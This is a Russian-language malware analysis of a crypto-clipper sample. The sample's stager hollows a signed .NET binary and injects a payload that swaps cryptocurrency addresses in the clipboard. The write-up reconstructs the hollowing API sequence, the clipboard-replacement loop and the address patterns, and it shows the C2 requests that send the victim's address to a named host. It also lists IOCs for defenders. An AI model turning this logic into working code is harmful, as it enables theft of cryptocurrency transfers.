MalwareBazaar Sample #3

2026-07-29

NativeAOT-криптоклиппер с process hollowing stager

Malware Bazaar : 5ee86cbcd296e0998ca20ee65a7506fb3baecfb7ce98eede29bff1a6a6e0fc95

NativeAOT-comiled .NET стейджер выполняет process hollowing в ServiceModelReg.exe, инжектируя криптоклиппер. Payload мониторит буфер обмена, распознает адреса 10+ криптовалют по паттернам (BTC segwit/taproot, ETH, LTC, TRON, Cosmos, Stellar, XRP, BCH и др.), подменяет их на адреса атакующего и отправляет данные на C2 через WinINet HTTP API. Компиляция через NativeAOT дает 5000+ runtime-функций, которые маскируют \approx 20 реально малварных.


1 | Предварительный анализ

DiE:

Fig. 1

Секции и энтропия:

Fig. 2

Overlay: 9mb повторяющихся байтов (onml...), size inflation для обхода sandbox лимитов на размер файла.

Fig. 3

1.1 | Export Directory

TimeDateStamp = 0xFFFFFFFF, NumberOfFunctions = 0, NumberOfNames = 0, Name указывает на мусорную строку aNLIu9poBJwdif3slrHVxOudy7FNmgx.... DIE ловит это как Phantom EAT

Fig. 4

1.2 | TLS Directory

TLS-директория присутствует, но AddressOfCallbacks (0x1400F6680) указывает на пустой массив (первый QWORD = 0). TLS используется runtime’ом для thread-local переменных, ловушек (callbacks) нет. StartAddressOfRawData и EndAddressOfRawData указывают на стандартные TLS-данные в .rdata, AddressOfIndex в .data.

Fig. 5

1.3 | Манифест

Стандартный шаблон Visual Studio: requestedExecutionLevel="asInvoker", uiAccess="false". Имя сборки MyApplication.app - дефолт, не меняли.


2 | Идентификация NativeAOT

Бинарник содержит \approx 5200 функций при динамическом CRT, что первоначально наводило на мысль об обфускации (control flow flattening). Однако строки в .rdata выдают реальную природу:

Fig. 6

Это строки из .NET CoreCLR garbage collector, статически влинкованного через NativeAOT компиляцию; т.е это нативно скомпилированное C# приложение, подавляющее большинство из 5000+ функций - runtime-код (exception handling, type system).

Далее я взял функцию GetProcAddress, после чего смотрел x-refs:

Fig. 7

В одной из функций был TotalStressLogSize, StressLogLevel, немного погуглив строки, убеждаемся в том, что перед нами машинерия .NET, а не малварь. Нашел даже функцию, использующую IsWow64Process2 + QueueUserAPC2 + предварительную обработку контекста (поддержку AVX256 и тд.) - тут мне показалось, что это APC early bird injection, но после получаса раскопок я понял что это ТОЖЕ часть дотнет механизмов, а именно GC thread suspension:

  1. Проверка архитектуры: IsWow64Process2 (Win10 1709+) - точная архитектура процесса и хоста
  2. Проверка CET: резолв RtlGetReturnAddressHijackTarget из ntdll для совместимости с shadow stack
  3. Primary path: QueueUserAPC2 со special flag QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC - APC выполняется при любом возврате в user mode, не требует alertable wait state
  4. Context allocation через sub_14009F500: динамический резолв InitializeContext2, проверка XState (AVX/AVX-512) через GetEnabledXStateFeatures()
  5. Fallback: SuspendThread \Rightarrow SetThreadContext если APC недоступен

Кросс-процессные API (WriteProcessMemory, ReadProcessMemory, VirtualAllocEx, CreateProcessW) не используются GC и являются реальными индикаторами малварного функционала. Разделение runtime/malware проходит именно по границе in-process/cross-process.

Fig. 8

3 | Stager - структура main

После небольшого анализа и сопоставления sub_<addr> стабов с memory map, я получил entry point после CRT-инициализации в следующем виде (упрощенно):

int main(int argc, char **argv)
{
    mal_RT_init(0);                          //  nativeAOT runtime init
    handle = mal_get_handle(sub_140078B80);   // GetModuleHandleExW(5, ...)

    // Регистрация exception handling + статических конструкторов NativeAOT
    sub_14009F360(handle,
        .text_start,                          // RVA 0x1000
        .text_size,                           // sub_14008A510 - sub_140001000
        .rdata_region,                        // sub_1400F4FD0
        .rdata_region_size,                   // sub_1400F5890 - sub_1400F4FD0
        initializer_table,                    // off_1401ADF20
        14);                                  // количество элементов

    sub_140046900(handle, ...);               // фиксап элементов (строки, vtable указатели)

    real_main(argc, argv);                    // payload-логика
}

Из интересного: mal_get_handle использует GetModuleHandleExW с флагом GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT (5), получая хэндл модуля по адресу внутри него, без хардкода имени

А вот как выглядит real_main:

Fig. 9

После возни, удалось понять, что 10-22 все так же не относятся к фунционалу малвари, граф был очень сложным и неанализируемым.

3.1 | Delay-load импорты

Стейджер использует MSVC /DELAYLOAD для части библиотек. Delay-load resolver (sub_14009096C) - стандартный __delayLoadHelper2:

Fig. 10

\Rightarrow

Fig. 11

Сетевых DLL (ws2_32, winhttp, wininet) нет в обычной IAT \Rightarrow они либо delay-loaded, либо подгружаются динамически через LoadLibraryExW + GetProcAddress (оба есть в импортах)


4 | Payload

Здесь я понял, что статика бесполезна, поигрался с брейкпоинтами в x64dbg, решил посмотреть на работу малвари, расставив разные bp. Наблюдал весь процесс hollowing в SystemInformer :

Fig. 12

Находясь в систем информере, решил сделать дамп прямо оттуда, но дамп из памяти жертвы не содержал рабочую IAT: Windows loader не обрабатывал этот PE, импорты не зарезолвлены. Scylla тоже не помогала: видимо, из-за того что нужные DLL (wininet.dll, user32.dll) еще не загружены в адресное пространство жертвы; в итоге IAT Search возвращает 0 valid APIs.

Попытка аттачнуться к жертве и поставить бп на API тоже не работала: bp HttpSendRequestA \Rightarrow “invalid address”, потому что wininet.dll еще не загружена. При загрузке через LdrLoadDll \Rightarrow бп на API \Rightarrow F9 процесс крашится с C0000005 (ACCESS_VIOLATION), вероятно анти-дебаг

4.1 | Дамп пейлода

Дамп из памяти стейджера на момент первого WriteProcessMemory. R8 содержит адрес буфера-источника - полный PE в file layout с нетронутой IAT (детектим это по торчащему MZ в RDI)

savedata "C:\payload_raw.bin", R8, 40000
Fig. 13

В итоге сдамленный PE был валидным, с видимым IAT. С этого момента все стало намного легче, дальнейший анализ занял буквально 5 минут.

Сначала захожу в shift+f12, вижу:

Fig. 14

Здесь уже все понятно.

Fig. 15 Fig. 16

Click \Rightarrow Tab \Rightarrow Заходим в логику малвари. Там более 1500 строк.

5 | Process Hollowing

Был известен еще до явного доступа к коду, со всеми параметрами в регистрах. Известная техника, идея: приостановленный запуск, потрошение.

  1. Это легитимный бинарник .NET Framework, подписана Microsoft, не вызывает подозрений у EDR
CreateProcessW("C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe", ..., CREATE_SUSPENDED)
  1. Читает PE header для определения оригинального ImageBase и entry point.
ReadProcessMemory(hProcess, ImageBase, &buffer, 0x78, ...)
  1. 256 КБ RWX по предпочитаемому базовому адресу
VirtualAllocEx(hProcess, 0x140000000, 0x40000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  1. Серия WriteProcessMemory: сначала PE header (0x400 байт), затем каждая секция по отдельности

  2. Основной поток жертвы возобновляется, начиная выполнение payload

ResumeThread

6 | Криптоклиппер

6.1 | Инициализация

// проверка на существование
MutexW = CreateMutexW(NULL, FALSE, "u");
if (GetLastError() == ERROR_ALREADY_EXISTS) {  // 183
    CloseHandle(MutexW);
    return;
}

// COM/WMI init
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL, 0, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);

Mutex с именем "u" минимальный IoC, легко пропустить.

6.2 | Fingerprinting

Сбор идентификаторов системы через WMI (ROOT\CIMV2):

WMI class
Win32_Processor ProcessorId ID процессора
Win32_ComputerSystemProduct UUID motherboard UUID
Win32_DiskDrive SerialNumber Серийный номер диска

Дополнительно читаются переменные окружения COMPUTERNAME и USERNAME. Результат конкатенируется в строку вида COMPUTERNAME\\USERNAME<ProcessorId><UUID><SerialNumber>, затем хэшируется. Выходной GUID бота - 32 hex-символа (v196). Хэш-функция обрабатывается в sub_140006C82, работает с 64-байтными блоками, результат 16 байт (128 бит), преобразуется в hex через таблицу a0123456789abcd. По размеру блока и выхода это MD5, но возможен кастомный вариант.

// Преобразование hash -> hex GUID
for (k = 0; k < 16; ++k) {
    v196[2*k]     = hex_table[hash[k] >> 4];
    v196[2*k + 1] = hex_table[hash[k] & 0xF];
}
v196[32] = 0;

6.3 | C2

HTTP через WinINet (InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA).

  1. Beacon (каждые ~600 секунд, 0x927BF = 599999 мс):
POST method=refresh&guid=<32-hex-guid>

Ответ сервера парсится в sub_14000667A. Если сервер вернул данные (LOBYTE(v217[0]) != 0), клиент обрабатывает их через sub_1400066D4. Предположительно C2 может обновлять конфигурацию (адреса подмены, параметры).

  1. Отправка подмененного адреса:
POST method=send&guid=<32-hex-guid>&address=<original_victim_address>
  1. C2-адрес и User-Agent хранятся в структурах off_1400253E0 / unk_140025458 в .rdata payload’а. Функция подключения sub_14000381E вызывается с retry-логикой: до 5 попыток с паузой 500 мс (Sleep(0x1F4)). ### 6.4 | Проверка баланса ERC-20

JSON-RPC вызов (явно виден в строках):

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [{
    "to": "0x6936edc505501EBB2F202C985a021a06f1c10C9E",
    "data": "0x70a08231000000000000000000000000<victim_address>"
  }, "latest"]
}

0x70a08231 - сигнатура balanceOf(address) стандарта ERC-20. Контракт 0x6936edc... - наверное конкретный токен, баланс которого проверяется перед подменой.

6.5 | Clipboard Monitor, основной цикл

while (1) {
    // Периодически отправлять beacon на C2 
    if (TickCount64 - lastBeacon > 0x927BF) {
        send_refresh(guid);
        lastBeacon = TickCount64;
    }

    Sleep(50);  // 0x32 polling interval

    if (!OpenClipboard(NULL)) continue;
    if (!IsClipboardFormatAvailable(CF_UNICODETEXT)) {  // 0xD
        CloseClipboard();
        continue;
    }

    data = GetClipboardData(CF_UNICODETEXT);
    text = (WCHAR*)GlobalLock(data);

    // Конвертация UTF-16 -> UTF-8 (SSE2-оптимизированная, пакетами по 8 символов)
    // Сканирование по паттернам криптоадресов
    // При совпадении: EmptyClipboard -> SetClipboardData(адрес атакующего)
    //                  + отправка method=send на C2

    GlobalUnlock(data);
    CloseClipboard();
}

UTF-16 \Rightarrow UTF-8 конвертация оптимизирована через SSE2: _mm_cmpeq_epi16 + _mm_packus_epi16 обрабатывают по 8 wide-char символов за итерацию, с fallback на побайтовую обработку для non-ASCII и суррогатных пар. Понять это в декомпиляторе было довольно сложно.

6.6 | Распознавание адресов

Payload проверяет содержимое буфера обмена по следующим паттернам:

ID Crypto Pattern Len Address для подмены
0 BTC (bech32m, начало 1) 1... 26–34 sub_14000691C (bech32 charset)
1 BCH/BCHA 3... 34 bech32 charset
2 BTC Segwit bc1q + 38 chars 42 sub_140006980 (bech32 lower) bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2
3 BTC Taproot bc1p + 58 chars 62 bech32 lower bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0
4 Ethereum 0x + 40 hex chars 42 hex validation 0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f
5 Bitcoin Cash bitcoincash:q + 41 chars 54 bech32
6 Bitcoin Cash (P2SH) bitcoincash:p + 41 chars 54 bech32
7 Litecoin (legacy, L) L... 34 sub_14000691C
8 Litecoin (M-addr) M... 34 base58 charset
9 Litecoin Segwit ltc1q + 38 chars 43 bech32 lower ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz
10 Dogecoin D... 34 base58
11 XRP r... 26-34 chars variable ripple base58 (rpshnaf39wBUDNEGHJKLM...)
12 XMR (или подобный) X... 34 base58
13 Dash (?) 7... 34 base58
14 TRON T... 34 base58 TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ
15 ? R... 34 base58
16 ? r... 34 base58
17 Stellar 58 chars 58 base32 (ABCDEFGHIJKLMNOPQRSTUVWXYZ234567) JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ
18 Solana / подобный U/E/u/e... 48 base64url (A-Za-z0-9-_)
19 Cosmos cosmos1 + 38 chars 45 bech32 lower cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr
20 Generic fallback 42-44 chars, alphanumeric variable sub_14000691C

Валидационные функции: sub_14000691C проверяет что все символы принадлежат bech32/base58 charset, sub_140006980 - аналогично для bech32 lowercase, sub_140006664 - префиксный матч (memcmp). После каждого матча проверяется следующий символ: если он alphanumeric - это часть более длинного токена, матч отклоняется (boundary check).

Логика подмены: при совпадении паттерна - EmptyClipboard() -> GlobalAlloc(GMEM_MOVEABLE) -> GlobalLock -> memcpy (адрес атакующего в UTF-16) -> null-terminator -> GlobalUnlock -> SetClipboardData(CF_UNICODETEXT). Подмена сопровождается отправкой method=send на C2 с оригинальным адресом жертвы, если с момента последнего beacon прошло менее 5 секунд (0x1388 = 5000 мс).

Все найденные адреса в одном clipboard сохраняются в динамический массив (24 байта на запись: offset начала, offset конца, ID типа + доп. поля). Подмена происходит для каждого найденного адреса в буфере, не только первого.


7 | IOCs

7.1 | Кошельки автора

bc1qjmmnmjl54c8fzv8s4uvfsklgxe5hwe94kqaxh2          # BTC Segwit
bc1phpyljll0vkjaukl33mmxfgcn030fe3rr3kt3lx9tvel7pap72rcsg5shm0  # BTC Taproot
0x8C9C95A830b7E7e86f2f12DB88e911499A6f695f          # Ethereum
ltc1q3h79hhtvg0h66wyd9cjy20mzcwjdkcfj60cshz          # Litecoin
TPtJCKJJDbLLPE7Mo9CZHw9RVWKV1hXcJJ                  # TRON
JZQCYTRBUGZR6TD6BLJXMB2ZYXI72CKFYPFGD5MP7K6FFV4XQ6QUFCRNEQ  # Stellar
cosmos1tddarrjtgstsnutx9qpamsfjkpjjq52arpxklr        # Cosmos

7.2 | ERC-20 contract

0x6936edc505501EBB2F202C985a021a06f1c10C9E

7.3 | Hashes

SHA256 (стейджер): 5ee86cbcd296e0998ca20ee65a7506fb3baecfb7ce98eede29bff1a6a6e0fc95
SHA256 (payload):  TODO: sha256sum payload_raw.bin

7.4 | Mutex

u

7.5 | Процесс-жертва (hollowing target)

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe

7.6 | C2

При доступе к C2 скачивается пустой файл с рандомным именем из 8 символов. Наверное, можно провести более глубокий анализ и найти еще зашифрованные адреса С2, но мне кажется коммуникация ограничивается крафтингом разных запросов и ответы обрабатываются на основе названий полученных пустых файлов.

bsc.blockrazor.xyz
Fig. 17

8 | Ошибки

8.1 | Статика: ложный след NativeAOT runtime

Первые часы анализа ушли на разбор функций, которые оказались частью .NET NativeAOT runtime. Цепочка ошибок:

  1. IAT выглядит как injection toolkit : QueueUserAPC2, WriteProcessMemory, SuspendThread, GetThreadContext в импортах. Очевидным путем было искать xrefы на эти API и разбирать вызывающие функции, но в NativeAOT бинаре большинство этих API используются GC для управления managed-потоками, а не для инжекта

  2. GetProcAddress xrefы ведут в CRT 15 xref на GetProcAddress , из них первый (try_cor_exit_process) резолвит CorExitProcess из mscoree.dll (стандартный .NET teardown), второй (sub_14009096C) - delay-load resolver __delayLoadHelper2 .Оба оказались легитимной частью дотнет машинерии

  3. Трейсинг GC thread suspension Поднимаясь по xref от sub_14009F880, я нашел цепочку apc_up_1 -> apc_up_2 -> apc_up_3. Переименовал, разобрал. Все оказалось GC: apc_up_3 принимает GC reason codes (1=foreground, 6=background), apc_up_2 проходит по managed threads через TLS, apc_up_1 проверяет thread state flags

8.2 | Разделение runtime и payload

После идентификации NativeAOT нужен критерий: какие API принадлежат runtime, а какие payload’у. Критерий : in-process VS cross-process.

GC работает только внутри своего процесса. Ему нужны SuspendThread, QueueUserAPC2, GetThreadContext для своих потоков. Ему не нужны WriteProcessMemory, ReadProcessMemory, VirtualAllocEx, CreateProcessW - это кросс-процессные API. Бп в x64dbg на эти четыре API сразу показали process hollowing.

8.3 | Динамика

x64dbg с бряками на кросс-процессные API - основной рабочий метод. Цепочка срабатываний:

NtCreateThreadEx     -> runtime (загрузка DLL при старте)
NtMapViewOfSection   -> runtime (то же)
CreateProcessW       -> PAYLOAD: создание ServiceModelReg.exe suspended
ReadProcessMemory    -> PAYLOAD: чтение PE header жертвы (MZ в буфере)
VirtualAllocEx       -> PAYLOAD: 256KB RWX в жертве по 0x140000000
WriteProcessMemory   -> PAYLOAD: запись header (0x400), потом секции

;тут можно дампить rwx регион (даже если не rwx - смотрим аргументы функции и этот адрес наш)

ResumeThread         -> PAYLOAD: запуск

8.4 | Динамика, ошибки

При аттаче к жертве я пробовал следующие вещи:

  1. bp HttpSendRequestA -> “invalid address”. Причина простая: wininet.dll еще не загружена в жертву, процесс suspended, loader не сработал. Попробовал потом поставить бп на LdrLoadDll, ждать загрузку wininet.dll, потом ставить бп на API функции:

  2. LdrLoadDll -> ждать wininet -> bp API -> F9 -> C0000005. Процесс крашится с ACCESS_VIOLATION. Я так и не разобрался почему это произошло, я думаю это антидебаг функционал, хотя динамику проводил со включенным ScyllaHide

  3. Scylla IAT reconstruction -> 0 valid APIs. IAT Search находит область, но 0 распознанных функций. Причина (гугл): PE записан в жертву через WriteProcessMemory, Windows loader его не обрабатывал, IAT содержит RVA на thunks, а не зарезолвленные адреса, поэтому нечего показывать

8.5 | Дамп payload: правильный способ

Единственный рабочий вариант: дамп из памяти стейджера, не жертвы. На бп WriteProcessMemory R8 содержит адрес памяти малварного процесса. Там лежит полный PE в file layout (не memory layout) с нетронутой Import Directory. Команда:

savedata "C:\payload_raw.bin", R8, 40000 //40'000 == 256kb, тоже видно из регистра

9 | Итог

Семпл демонстрирует использование NativeAOT-компиляции как средства обфускации: 5000+ функций .NET runtime (GC, threading, exception handling, type system) маскируют \approx 20 реально малварных. При статическом анализе это создает иллюзию control flow flattening и заставляет тратить время на разбор легитимного кода. Ключевой момент, который позволяет сориентироваться - строки CoreCLR GC (GCHeapHardLimit, Scanning Thread, DllMain THREAD_DETACH).

Стейджер имеет несколько уровней detect evasion: overlay inflation (9 МБ для обхода sandbox-лимитов), Phantom EAT (фейковая таблица экспорта), delay-load импорты (скрытие API от статического анализа), process hollowing в подписанный Microsoft бинарь (ServiceModelReg.exe). Сам payload использует SSE2-оптимизированную UTF-16->UTF-8 конвертацию и поддерживает 20+ типов криптоадресов с корректной boundary validation.

Есть проверка IsWow64Process2 (не IsWow64Process), учет XState/CET, QueueUserAPC2 со special flag, retry-логика с beacon’ами.

По mutex "u" и хардкоженным адресам кошельков без шифрования можно быстро создать YARA-правила.